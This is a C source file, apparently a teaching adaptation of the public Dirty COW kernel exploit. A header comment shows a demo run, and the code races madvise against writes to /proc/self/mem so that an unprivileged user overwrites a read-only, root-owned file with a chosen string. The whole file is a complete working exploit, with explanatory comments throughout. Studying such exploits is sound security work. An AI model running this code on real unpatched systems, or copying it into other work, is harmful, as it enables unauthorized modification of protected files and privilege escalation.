/*
 * This file is derived from the original dirtyc0w.c,
 * as found on https://dirtycow.ninja/
 * But as I (fmarmond@tetrane.com) found it not so comprehensible
 * for teaching, I adapted and re-wrote it to be more pedagogic.
####################### dirtyc0w2.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -m32 -pthread dirtyc0w2.c -o dirtyc0w2
$ ./dirtyc0w 10000 foo  m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w2.c #######################
*/
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <limits.h>


// This pointer will hold the address of the target file.
// We will mmap() the target file in memory
void *map;
volatile char ended = 0;

unsigned long NB_ITERATIONS = 10000;

void *madviseThread(void *arg)
{
    char *str;
    str=(char*)arg;
    int i,c=0;
    for(i=0;(!ended) && (i<NB_ITERATIONS);i++)
    {
        /*
        You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
        > This is achieved by racing the madvise(MADV_DONTNEED) system call
        > while having the page of the file mmapped in memory.
        */
        c+=madvise(map,100,MADV_DONTNEED);
    }
    //  printf("madvise %d\n\n",c);
    ended = 1;
}

void *procselfmemThread(void *arg)
{
    char *str;
    str=(char*)arg;
    /*
    You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
    >  The in the wild exploit we are aware of doesn't work on Red Hat
    >  Enterprise Linux 5 and 6 out of the box because on one side of
    >  the race it writes to /proc/self/mem, but /proc/self/mem is not
    >  writable on Red Hat Enterprise Linux 5 and 6.
    */
    int f=open("/proc/self/mem",O_RDWR);
    int i,c=0;
    for(i=0;(!ended)&&(i<NB_ITERATIONS);i++)
    {
        /*
        You have to reset the file pointer to the memory position.
        */
        lseek(f,(uintptr_t) map,SEEK_SET);
        c+=write(f,str,strlen(str));
    }
    ended=1;
    //  printf("procselfmem %d\n\n", c);
}


void print_usage()
{
    (void)fprintf(stderr, "%s\n","usage: dirtyc0w nb_iterations target_filename target_string");
}

void print_head_target_file(const char* filename)
{
    char buff[64];
    int nb_read = 0;
    int f=open(filename,O_RDONLY);
    lseek(f,0,SEEK_SET);
    nb_read = read(f,buff,63);
    buff[nb_read]=0;
    printf("Current head content of file [%s]:\n",filename);
    printf(buff);
    printf("----\n");
    fflush(stdout);
    close(f);
}


int main(int argc,char *argv[])
{
    /*
    You have to pass two arguments. File and Contents.
    */
    const char* target_filename;
    const char* target_string;

    if (argc<4)
    {
        print_usage();
        return 1;
    }
    pthread_t pth1,pth2;

    NB_ITERATIONS = strtoul(argv[1],NULL,10);
    if (NB_ITERATIONS == ULONG_MAX)
    {
        fprintf(stderr,"bad first argument\n");
        print_usage();
        return 2;
    }
    target_filename = argv[2];
    target_string   = argv[3];

    printf("Will try [%li] times to write [%s] on memory where file [%s] is mapped\n",NB_ITERATIONS,target_string,target_filename);
    
    print_head_target_file(target_filename);    

    /*
    You have to open the file in read only mode.
    */
    int f;
    
    f=open(target_filename,O_RDONLY);
    if (f<0)
    {
        fprintf(stderr,"Error opening [%s]\n",target_filename);
        return 3;
    }
    // we get the file size
    struct stat st;
    fstat(f,&st);
    
        

    /*
    You have to use MAP_PRIVATE for copy-on-write mapping.
    > Create a private copy-on-write mapping.  Updates to the
    > mapping are not visible to other processes mapping the same
    > file, and are not carried through to the underlying file.  It
    > is unspecified whether changes made to the file after the
    > mmap() call are visible in the mapped region.
    */
    /*
    You have to open with PROT_READ.
    */
    map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
    printf("Target file is mmaped at virtual address 0x%zx\n\n",(uintptr_t) map);
    /*
    You have to do it on two threads.
    */
    pthread_create(&pth1,NULL,madviseThread,(void*)target_filename);
    pthread_create(&pth2,NULL,procselfmemThread,(void*)target_string);    
    /*
    You have to wait for the threads to finish.
    */
    pthread_join(pth1,NULL);
    pthread_join(pth2,NULL);
    close(f);

    print_head_target_file(target_filename);

    return 0;
}
